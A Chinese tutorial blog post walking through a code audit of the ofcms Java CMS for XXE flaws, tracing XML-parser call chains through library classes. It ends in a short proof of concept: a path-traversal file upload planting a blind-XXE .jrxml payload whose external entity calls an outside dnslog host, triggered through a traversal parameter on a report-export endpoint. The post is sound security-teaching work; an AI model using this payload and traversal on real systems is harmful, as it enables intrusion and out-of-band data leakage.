Java代码审计篇 | ofcms系统审计思路讲解 - 篇4 | XXE漏洞审计
文章目录
- Java代码审计篇 | ofcms系统审计思路讲解 - 篇4 | XXE漏洞审计
- 0. 前言
- 1. XXE代码审计【有1处】
- 1.1. 搜索JRXmlLoader
- 1.1.1. JRAntApiWriteTask
- 1.1.2. JRAntUpdateTask
- 1.1.3. TableReportContextXmlRule
- 1.1.4. JasperCompileManager【存在漏洞】
- 1.2. 搜索XMLReader
- 1.2.1. DTMManagerDefault
- 1.2.2. IncrementalSAXSource\_Xerces
- 1.2.3. IncrementalSAXSource\_Filter
- 1.2.4. XMLReaderManager
- 1.2.5. CoroutineParser
- 1.3. 搜索SAXBuilder
- 1.4. 搜索SAXReader
- 1.5. 搜索SAXParserFactory
- 1.5.1. SynthParser
- 1.5.2. ResolvingParser
- 1.5.3. Process
- 1.5.4. SAXCatalogReader
- 1.5.5. AndroidFontFinder
- 1.5.6. JRPrintXmlLoader
- 1.6. 搜索Digester
- 1.6.1. JRXmlLoader
- 1.6.2. JRPrintXmlLoader
- 1.6.3. JRXmlTemplateLoader
- 1.7. 搜索DocumentBuilderFactory
- 1.7.1. DTMManagerDefault
- 1.7.2. DOMCatalogReader
Java代码审计篇 | ofcms系统审计思路讲解 - 篇4 | XXE漏洞审计
0. 前言
我发现很多文章包括教程,大概套路是:只说有漏洞的点,将有漏洞的点指出,然后分析代码;或者黑盒测试出漏洞之后,然后分析代码。
我认为这是在分析漏洞代码,而非代码审计。代码审计文章或教程应该是从0开始找到漏洞所在,包括思路!
所以这里不管有没有漏洞,我都会把审计过程写出来,因此篇幅会很长,但我认为这样对你会很有帮助。
知其然亦知所以然。
由于篇幅较长,因此我会分几篇进行,本篇是整个系列的第4篇,讲解1个内容:
- XXE漏洞审计
本系列文章:
- Java代码审计篇 | ofcms系统审计思路讲解 - 篇1 | 环境搭建、路由机制
- Java代码审计篇 | ofcms系统审计思路讲解 - 篇2 | SQL注入漏洞审计
- Java代码审计篇 | ofcms系统审计思路讲解 - 篇3 | 文件上传漏洞审计
- Java代码审计篇 | ofcms系统审计思路讲解 - 篇4 | XXE漏洞审计
搭建好环境,确定好项目结构之后,按我思路是应该审计项目所使用框架漏洞的,这里关于框架漏洞就放最后篇章来说了,我们先了解下基础漏洞的审计~
文章中有错误点,或者思路上有什么问题的,欢迎师傅们留言指出~
1. XXE代码审计【有1处】
XXE代码审计常搜索的关键字如下:
XMLReader
SAXBuilder
SAXReader
SAXParserFactory
Digester
DocumentBuilderFactory
...
还有一个特殊的,用于加载.jrxml
文件,这是 JasperReports 特定的 XML 格式,用于定义报告模板。
JRXmlLoader
1.1. 搜索JRXmlLoader
当然这样搜比较慢,而且有很多重复的,这里有个小技巧,可以搜到JRXmlLoader之后,然后Find Usages(Alt+F7),然后找到Usage in import查看哪些类有导入JRXmlLoader。
概涉及的类有:
JRAntApiWriteTask
JRAntUpdateTask
TableReportContextXmlRule
JasperCompileManager
JasperDesignCache
JRDesignViewer
...
挨个查看一下,需要找解析jrxml
文件的代码以及对应方法的调用情况:
这里有个小技巧:因为这些类都是导入的jar包内部的,这说明,不是每个类和方法都会被使用到;
与之不同的则是项目自己写的类和方法,一般都会被用到。
因此:我们可以先查找类中方法的调用,确定有没有使用到,没有使用到就不用管了,这样可以节省大量的时间。
1.1.1. JRAntApiWriteTask
进到JRAntApiWriteTask类中之后,在本类中同样搜索JRXmlLoader,查看哪些位置使用了JRXmlLoader:
可以看到,代码中使用了JRXmlLoader.load(srcFileName)
,这里调用了.load()
方法,这是JRXmlLoader
加载jrxml
文件的方式。
其中这段代码是在writeApi()
方法中被调用。
接下来的思路是:先查找writeApi()
方法的调用情况(原因前面已经说了)
可以看到,同类下的execute()
方法对其有调用,但是通过查找execute()
的调用,发现并没有被使用。因此,此处就不需要再往下进行了。
1.1.2. JRAntUpdateTask
进到JRAntUpdateTask类中之后,在本类中同样搜索JRXmlLoader,查看哪些位置使用了JRXmlLoader,以及方法的调用情况:
和JRAntApiWriteTask类中的情况一样,execute()
没有被调用,不用管了。
1.1.3. TableReportContextXmlRule
这个类虽然导入了JRXmlLoader,但是没有调用.load()方法,所以也不用管了
1.1.4. JasperCompileManager【存在漏洞】
这个类中的方法很多,很多方法都用到了JRXmlLoader:
我们应该怎么定位呢?
想一下我们在干嘛?是不是在寻找XXE漏洞,回想XXE原理,其中前提是:代码需要解析xml(jrxml)文件才可能有漏洞,如果是生成xml文件是不是就不用管了。
因此:我们需要定位到解析xml(jrxml)文件的地方。
在JRXmlLoader中解析使用的是load()
方法,因此我们可以在当前类中搜索.load(,
发现定位到了5个位置:
来详细看一下:
分析一下代码,方法之间进行了互相调用,当然也调用了除了上述方法之外的方法。
下面我用调用图展示一下:
这三个调用链都涉及到了load()
方法,因此都有可能存在XXE漏洞。
接下来看每个调用链最上层的方法是怎么调用的(也就是找参数sourceFileName从哪来的),三个方法分别如下:(通过Find Usages/Alt+F7查询)
-
compileReportToFile()
方法,没有被调用,即该方法没有触发,不用管了~ -
第1个
compile(String sourceFileName)
方法,被当前类的compileReport(String sourceFileName)
方法调用 -
第2个compile(InputStream inputStream)方法,被当前类的
compileReport(InputStream inputStream)
方法调用 -
compileReportToStream()
方法,没有被调用,即该方法没有触发,不用管了~
目前,只需要关注其中两个就好:
- 1)
ompileReport(String sourceFileName)
- 2)
compileReport(InputStream inputStream)
继续查看其调用关系:其中compileReport(InputStream inputStream)
存在调用,ompileReport(String sourceFileName)
没有被调用。
定位到compileReport(InputStream inputStream)
的调用位置,查看源码:
ReprotAction
类的expReport()
方法将其调用。
并且ReprotAction
类上存在一个@Action(path = "/reprot")
注解,也就是说这里可以被前端请求触发执行。
触发该expReport()
方法的接口为:/admin/reprot/expReport.json
那么接下来做两件事:
- 1)确定传参,有无过滤
- 2)触发接口,进行漏洞测试
从下面这段代码可以看出:compileReport(new FileInputStream(file))
的file是从"/WEB-INF/jrxml/" + jrxmlFileName + ".jrxml"
获取的.jrxml
文件,而具体什么文件,由前端传递的“j”
参数决定。
简单来说就是:在/WEB-INF/jrxml/
目录下寻找“j”
参数指定的.jrxml
文件进行jrxml文件的解析。
并从调用链看出:整个过程没有对文件进行过滤,包括也没有禁止解析外部实体(默认可以解析外部实体)。
调用链如下:
expReport()->compileReport()->compile()->JRXmlLoader.load()
所以这里是存在XXE漏洞的。
那这样的话,我们只需要保证:前端触发/admin/reprot/expReport.json
接口时,传递“j”
参数指定的.jrxml
文件中存在恶意外部实体,就可以实现漏洞利用。
这里还有一个问题:“j”
参数指定的.jrxml
文件是在/WEB-INF/jrxml/
目录下,这里我们是不可控的,因此怎么让ta能够加载一个存在恶意外部实体的.jrxml
文件呢?
这里只能结合前面的文件上传漏洞,写入恶意.jrxml
,来实现XXE漏洞的利用(如果这里不存在文件上传漏洞,这里无法利用)。
接下来,尝试利用一下:(这里没有回显,使用盲XXE方式)
1)通过文件上传漏洞,上传一个带有恶意外部实体的.jrxml
文件。
file_name=../../../static/exp.jrxml
file_content=%3C%3Fxml+version%3D%221.0%22+encoding%3D%22UTF-8%22%3F%3E%3C%21DOCTYPE+root+%5B%3C%21ENTITY+%25+exp+SYSTEM+%22http%3A%2F%2Fxzlxvdibrb.iyhc.eu.org%22%3E%25exp%3B%5D%3E
file_content解码如下:
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [<!ENTITY % exp SYSTEM "http://xzlxvdibrb.iyhc.eu.org">%exp;]>
2)触发/admin/reprot/expReport.json
接口
根据功能和接口可以定位到功能为止:用户管理-导出全部
点击“导出全部”,抓包,修改参数:
j=../../static/exp
可以看到,请求dnslog成功
1.2. 搜索XMLReader
注释忽略不看,剩余的大概涉及的类有
DTMManagerDefault
IncrementalSAXSource_Xerces
IncrementalSAXSource_Filter
XMLReaderManager
下面是接口
CoroutineParser
每个都大概看一下:(找方法的调用情况,及解析xml文件的相关方法,比如parse()等)
XMLReader的使用链为:
XMLReader.parse()
1.2.1. DTMManagerDefault
这个调用链非常的长,一般超过3个我都不会去审计了,因为ta有可能是组件内部使用的,有兴趣的师傅可以自行追一下方法调用链,说不定有组件0day哦~
1.2.2. IncrementalSAXSource_Xerces
该类中不存在解析xml文件的代码,故忽略
1.2.3. IncrementalSAXSource_Filter
此类中存在解析xml文件的代码
接下来,追踪其方法调用及参数传递
run()方法的调用很多:
但是存在一个问题,parse()方法所需的参数,并不是run()方法传递进来的。
因此接下来从参数传递进行分析,看是否可控
可以看到,该参数是startParse(InputSource source)
方法传入,接下来追踪下该方法
有两个类中调用了该方法,一个DTMManagerDefault,一个IncrementalSAXSource_Xerces
1.2.4. XMLReaderManager
疲倦了,师傅们自己追追吧~
1.2.5. CoroutineParser
疲倦了,师傅们自己追追吧~
1.3. 搜索SAXBuilder
不存在SAXBuilder。
1.4. 搜索SAXReader
搜索SAXReader之后,进入类之后,发现所搜到的都是变量名
并不是SAXReader对象,而是SAXCatalogReader类对象,没有解析xml文件的代码,所以不需要再看了。
📌
SAXCatalogReader
是一个与 XML 解析相关的概念,主要用于处理 XML 文档中的外部实体引用。它通常与 XML 解析器一起使用,以解决 DTD(Document Type Definition)或 XML 实体的重定向问题。通过配置SAXCatalogReader
,可以在解析 XML 文档时指定特定的目录文件,从而控制对外部资源的访问。
1.5. 搜索SAXParserFactory
SAXParserFactory的使用链为:
SAXParserFactory.newInstance().newSAXParser().parse()
所以在搜索到的类中,搜索.parse(
,如果有的话则存在解析xml,不存在则没有。
这里交给大家一个小技巧,使用正则表达式,搜索包含SAXParserFactory
且包含.parse(
的java类:
(SAXParserFactory(.|\n)*\.parse\()|(\.parse\((.|\n)*\.parse\(SAXParserFactory)
通过搜索,可以定位到比较精确的java类:
设计到的类有:
SynthParser
ResolvingParser
Process
SAXCatalogReader
AndroidFontFinder
JRPrintXmlLoader
1.5.1. SynthParser
追踪一下parse()
的调用,发现存在
继续追踪load()
,发现只在注释中出现,没有其他调用了,那就不用管了。
1.5.2. ResolvingParser
这个类搜索到的parse并不是用来解析xml文件的,所以忽略
1.5.3. Process
该类中存在解析xml文件的代码:
该段代码存在的方法为_main()
,但并未有调用,因此忽略
1.5.4. SAXCatalogReader
该类中存在解析xml文件的代码:
追踪下readCatalog()
方法的调用,这个时候,会发现,方法的调用链很长。此时也要结合参数的来源一同分析。
📌tips:方法的调用链很长,没完没了,其实这里差不多可以放弃了,如果是项目代码中真正用到了,代用链不会过长(当然也不一定,只是经验之谈)。
当然,你可以继续查看调用链,说不定会存在组件0day。
这里其实也可以结合参数来一起分析,参数可能在方法调用链的某个中间位置就确定了,那就不需要分析这么长的调用链了。
通过分析方法调用和参数传递,主要分为两种情况:
readCatalog()
方法的调用一部分来自其他类中readCatalog()
方法,而这些方法并没有再被调用,所以没有被使用,因此这部分忽略,见下图红框处:
剩下的就是parseCatalog()
方法了:
其中parseCatalog(URL aUrl)
无调用:
其中parseCatalogFile(String fileName)
调用链比较长,但是参数在该方法中就确定了:
不是可控的,不用管了。
最后的parseCatalog(String mimeType, InputStream is)
:
还得继续追踪其调用:
追踪到queryResolver()
方法,其参数也是不可控的,忽略。
SAXCatalogReader的分析到此为止。
1.5.5. AndroidFontFinder
该类中存在解析xml文件的代码:
其中参数来源为parseSystemDefaultFonts()
方法,追踪该方法的调用:
存在两个,但是parseSystemDefaultFonts()
方法所需参数并不是从这两个方法传入的,因此在这两个方法内部就确定了parseSystemDefaultFonts()
方法所需参数,即最终parse()
方法的参数。
那么分析一下:
这里可以看出,这个参数是固定不可控的,因此忽略,另一个方法内部也是如此,因此也忽略。
1.5.6. JRPrintXmlLoader
该类中存在解析xml文件的代码:
其方法为loadXML(InputStream is)
,追踪方法调用,
但是追踪其方法调用,发现最上层方法并没有被调用,截图略,其中调用链为:
load(String sourceFileName)
loadFromFile(String sourceFileName)
loadFromFile(JasperReportsContext jasperReportsContext, String sourceFileName)loadXML(InputStream is)digester.parse(is)
还有一个调用链为:
RViewer(String fileName, boolean isXML, Locale locale)
JRViewer(String fileName, boolean isXML, Locale locale, ResourceBundle resBundle)
JRViewer(JasperReportsContext jasperReportsContext,String fileName, boolean isXML, Locale locale, ResourceBundle resBundle)
loadReport(String fileName, boolean isXmlReport)loadXML(InputStream is)digester.parse(is)
不管哪个调用链,其最上层方法都没有被调用,因此忽略。
1.6. 搜索Digester
Digester的使用链为:
Digester.parse()
所以在搜索到的类中,搜索.parse(
,如果有的话则存在解析xml,不存在则没有。
使用正则表达式,搜索包含Digester
且包含.parse(
的java类:
(Digester(.|\n)*\.parse\()|(\.parse\((.|\n)*\.parse\(Digester)
通过搜索,可以定位到比较精确的java类:
涉及的类有:
JRXmlLoader
JRPrintXmlLoader
JRXmlTemplateLoader
1.6.1. JRXmlLoader
该类中的loadXML()
方法没有被调用,忽略
1.6.2. JRPrintXmlLoader
该类中的loadXML()
方法没有被调用,忽略
1.6.3. JRXmlTemplateLoader
该类中的loadTemplate()
方法没有被调用,忽略
1.7. 搜索DocumentBuilderFactory
DocumentBuilderFactory的使用链为:
DocumentBuilderFactory.newInstance().parse(new InputSource(new StringReader(xxx)))
所以在搜索到的类中,搜索.parse(
,如果有的话则存在解析xml,不存在则没有。
使用正则表达式,搜索包含DocumentBuilderFactory
且包含.parse(
的java类:
(DocumentBuilderFactory(.|\n)*\.parse\()|(\.parse\((.|\n)*\.parse\(DocumentBuilderFactory)
通过搜索,可以定位到比较精确的java类:
涉及到的类有:
DTMManagerDefault
DOMCatalogReader
XMLParserImpl
Process
TransformerImpl
XPathExpressionImpl
Metacity
JRXmlDocumentProducer
JRXmlUtils
JRStyledTextParser
SimpleFontExtensionHelper
MapFillComponent
FillPlaceItem
XmlSupport
接下来思路一下,查看每个类中相关代码
- parse是不在解析xml文件
- 其相关方法的调用关系
- 解析的xml文件参数是否可控
- 有无过滤、禁止解析外部DTD
1.7.1. DTMManagerDefault
之前遇到过,忽略。
1.7.2. DOMCatalogReader
该类中存在解析xml文件的代码:
其方法为readCatalog(Catalog catalog, InputStream is)
,追踪方法调用。
📌剩下的不想追了,累了~ 有兴趣的师傅可以自己每个都追下,这样就不会漏了,祝各位师傅天天出0day。
有好的技巧、好的思路的师傅也可以共享下思路,互相学习~~么么哒
相关文章:

Java代码审计篇 | ofcms系统审计思路讲解 - 篇4 | XXE漏洞审计
文章目录 Java代码审计篇 | ofcms系统审计思路讲解 - 篇4 | XXE漏洞审计0. 前言1. XXE代码审计【有1处】1.1. 搜索JRXmlLoader1.1.1. JRAntApiWriteTask1.1.2. JRAntUpdateTask1.1.3. TableReportContextXmlRule1.1.4. JasperCompileManager【存在漏洞】 1.2. 搜索XMLReader1.2…...

Leetcode 每日一题:Word Ladder
写在前面: 今天我们来看一道图论的题,这道题目是我做过目前最难与图论联想到的一道题目之一。如果没有提示的话,我们很容易往 dp 等解决 array 问题的方向去解决它,经过我超过 2个小时的思考我觉得这种方向是没前途的~…...

c++ 编辑器 和 编译器 的详细解释
在 C 开发中,编辑器 和 编译器 是两个不同的工具,分别在编写代码和生成可执行文件的过程中起着不同的作用。下面是它们的详细介绍: 1. 编辑器(Editor) 编辑器 是用来编写和编辑代码的工具。C 代码就是通过编辑器编写…...

计算机视觉(二)—— MDPI特刊推荐
特刊征稿 01 期刊名称: Applied Computer Vision and Pattern Recognition: 2nd Volume 截止时间: 摘要提交截止日期:2024年10月30日 投稿截止日期:2024年12月30日 目标及范围: 包括但不限于以下领域:…...

交叉编译工具链的安装及带wiringPi库的交叉编译实现
交叉编译工具链的安装及带wiringPi库的交叉编译实现 交叉编译的概念交叉编译工具链的安装下载交叉编译工具链配置环境遍变量编译程序到ARM平台 带wiringPi库的交叉编译下载编译wiringPi库调用树莓派的wringPi库 交叉编译的概念 交叉编译是在一个平台上生成另一个平台上的可执行…...

java: 程序包org.junit.jupiter.api不存在
明明idea没有报错,引用包也没问题,为啥提示java: 程序包org.junit.jupiter.api不存在? 配置!还TMD是配置! 如果是引用包的版本不对或者其他,直接就是引用报错或者pom里面飘红了。 这个应该是把generat…...

代码随想录刷题day32丨动态规划理论基础,509. 斐波那契数, 70. 爬楼梯, 746. 使用最小花费爬楼梯
代码随想录刷题day32丨动态规划理论基础,509. 斐波那契数, 70. 爬楼梯, 746. 使用最小花费爬楼梯 1.动态规划理论基础 动态规划,英文:Dynamic Programming,简称DP,如果某一问题有很多重叠子问题…...
为什么矩阵特征值之和等于主对角线元素之和,特征值乘积等于行列式值
首先给出特征值和特征向量的定义。 设A是n阶矩阵,如果数λ和n维非零向量x使关系式 Axλx (1) 成…...

学生学籍管理系统可行性分析报告
引言 一、编写目的 随着科学技术的不断提高,计算机科学日渐成熟,其强大的功能已为人们深刻认识,它已进入人类社会的各个领域并发挥着越来越重要的作用。而学籍管理系统软件,可广泛应用于全日制大、中小学及其他各类学校,系统涵盖了小学、初中、高中学籍…...

C#排序算法新境界:深度剖析与高效实现基数排序
基数排序(Radix Sort)是一种非比较型整数排序算法,其原理是将整数按位数切割成不同的数字,然后按每个位数进行比较。具体来说,基数排序有两种方法: 最低位优先(LSD, Least Significant Digit f…...

玩机搞机-----如何简单的使用ADB指令来卸载和冻结系统应用 无需root权限 详细操作图示教程
同类博文: 玩机搞机---卸载内置软件 无root权限卸载不需要的软件 安全卸载_无需root卸载彻底内置软件-CSDN博客 在很多时候我们需要卸载一些系统级的app。但如果直接手机端进行卸载的话。是无法正常卸载的。其实我们可以通过有些成品工具或者完全靠ADB指令来进行卸…...

如何通过 Apache Camel 将数据导入 Elasticsearch
作者:来自 Elastic Andre Luiz 使用 Apache Camel 将数据提取到 Elasticsearch 的过程将搜索引擎的稳健性与集成框架的灵活性相结合。在本文中,我们将探讨 Apache Camel 如何简化和优化将数据提取到 Elasticsearch。为了说明此功能,我们将实…...

打造民国风格炫酷个人网页:用HTML和CSS3传递民国风韵
附源码!!! 感谢支持 小弟不断创作网站demo感兴趣的可以关注支持一下 对了 俺在结尾带上了自己用的 背景 大家可以尝试换一下效果更好哦~~~ 如何创建一个民国风格的炫酷网页 在这篇博客中,我们将展示如何制作一个结合民国风格和…...

豆包MarsCode编程助手:产品功能解析与应用场景探索!
随着现代技术的不断进化升级,人工智能正在逐步改变着我们的日常工作方式。特别是对于复杂的项目,代码编写、优化、调试、测试等环节充满挑战。为了简化这些环节、提高开发效率,许多智能编程工具应运而生,豆包MarsCode 编程助手就是…...

爬虫全网抓取
爬虫全网抓取是指利用网络爬虫技术,通过自动化的方式遍历互联网上各个网站、论坛、博客等,从这些网页中提取所需的数据。它通常涉及以下几个步骤: 目标设定:确定要抓取哪些类型的网页内容,比如新闻、商品信息、用户评论…...

【计算机组成原理】详细解读带符号整数在计算机中的运算
有符号整数的运算 导读一、补码的优势二、补码的加法运算三、补码的减法运算四、原码、反码、补码的特性结语 导读 大家好,很高兴又和大家见面啦!!! 经过前面的介绍,我们已经初步认识了有符号整数的三种表示形式&…...

vue3常见的bug 修复bug
Vue 3 作为 Vue.js 的最新版本,在性能、开发体验以及代码可维护性等方面带来了显著的提升。然而,就像任何软件框架一样,Vue 3 在使用过程中也可能遇到一些典型的bug或问题。以下是一些可能遇到的典型问题: 响应式系统相关的问题&…...

C++课程笔记 类和对象
类概念 结构体:只要属性 类:有属性也有方法 c可以省略struct c不行 #include<iostream> using namespace std;typedef struct queue1 {int a;queue1 q() {queue1 q(2);return q;};queue1(){}queue1(int qa){a qa;} }q1; int main() {queue1 Q1;…...

提问即创作:用Prompt提示词引领AI灵感爆发
文章目录 🍊AI内容创作的精髓:提示词Prompt1 什么是提示词工程?1.1 提示词是如何影响AI的输出结果?1.2 提示词的原理是什么1.3 提示词工程师的前景1.4 谁能成为提示词工程师?1.5 提示词的未来前景 2 提示词的基本书写技巧3 常见的提示词框架…...

一码空传临时网盘PHP源码,支持提取码功能
源码介绍 一码空传临时网盘源码V2.0免费授权,该源码提供了一个简单易用的无数据库版临时网盘解决方案。前端采用了layui开发框架,后端使用原生PHP编写,没有引入任何开发框架,保持了代码的简洁和高效。 这个程序使用了一个无数据…...

自然语言处理实战项目
自然语言处理实战项目 自然语言处理(NLP, Natural Language Processing)是人工智能的重要分支之一,致力于让计算机理解、生成并与人类进行语言交互。随着深度学习、神经网络和大数据的发展,NLP技术在近年来取得了飞跃性的进展&am…...

人工智能物联网的去中心化和分布式学习:全面综述、新兴挑战和机遇
这篇论文的标题是《Decentralized and Distributed Learning for AIoT: A Comprehensive Review, Emerging Challenges, and Opportunities》,作者是Hanyue Xu, Kah Phooi Seng, Li Minn Ang, 和 Jeremy Smith。论文发表在IEEE Access期刊上,接收日期为2…...

滑动窗口算法—最小覆盖子串
题目 ”最小覆盖子串“问题,难度为Hard,题目如下: 给你两个字符串 S 和 T,请你在 S 中找到包含 T 中全部字母的最短子串。如果 S 中没有这样一个子串,则算法返回空串,如果存在这样一个子串,则可…...

应用案例|开源 PolarDB-X 在互联网安全场景的应用实践
背景介绍 中盾数科集团始创于2012年,是由网络安全服务而发展起来的科技型、多元化的企业集团。旗下包括网络安全服务、信创一体化服务、箱式液冷、区块链、位置服务、视觉服务等六大板块,业务覆盖湖南、甘肃、贵州等多个省份。 业务挑战 中盾集团基于A…...

【大数据】MapReduce的“内存增强版”——Spark
【大数据】MapReduce的“内存增强版”——Spark 文章脉络 Spark架构 Spark-core SparkConf 和 SparkContext RDD Spark集群 Spark-sql 在大数据时代,数据处理和分析成为企业竞争的重要手段。Hadoop作为大数据处理的基石,其核心组件MapReduce在众多…...

o1模型:引领AI技术在STEM领域的突破与应用
o1模型是OpenAI最新推出的大型语言模型,它在多个领域展现出了卓越的能力,被认为是AI技术发展的一个重要里程碑。以下是对o1模型的详细介绍和分析: o1模型的简介和性能评估 o1模型在物理、化学、生物学等领域的基准任务上达到了博士生水平&…...

数据库系统 第57节 数据库迁移
数据库迁移是一个复杂的过程,涉及到将数据从一个数据库系统转移到另一个数据库系统。这个过程通常需要仔细规划和执行,以确保数据的完整性和可用性。以下是数据库迁移的一些关键方面: 数据迁移工具: 这些工具可以帮助自动化迁移过…...

【主机入侵检测】Wazuh规则详解
前言 Wazuh 规则是一组用XML格式编写的条件,它们定义了应该如何解释日志数据。这些规则由Wazuh Manager使用,用于在日志消息中检测特定的模式或行为,并相应地生成警报或响应。它们在威胁检测中扮演着至关重要的角色,因为它们允许系…...

redis有序集合写入和求交集的速度
背景 团队小伙伴做了一个需求。大概的需求是有很多的图片作品,图片作品有一些类别,每个人进入到每个类别的作品业,根据权重优先查看权重最高的的作品,权重大概是基于每个人对该作品的浏览计算,浏览过的作品放在最后展…...

微服务之服务注册与发现:Etcd、Zookeeper、Consul 与 Nacos 比较
在微服务架构中,服务注册与发现是实现服务动态管理和负载均衡的关键。本文将对四款主流的服务注册与发现工具——Etcd、Zookeeper、Consul、Nacos进行深入对比,从功能、性能、一致性、生态集成、应用场景等多个维度展开分析,帮助您选择最适合…...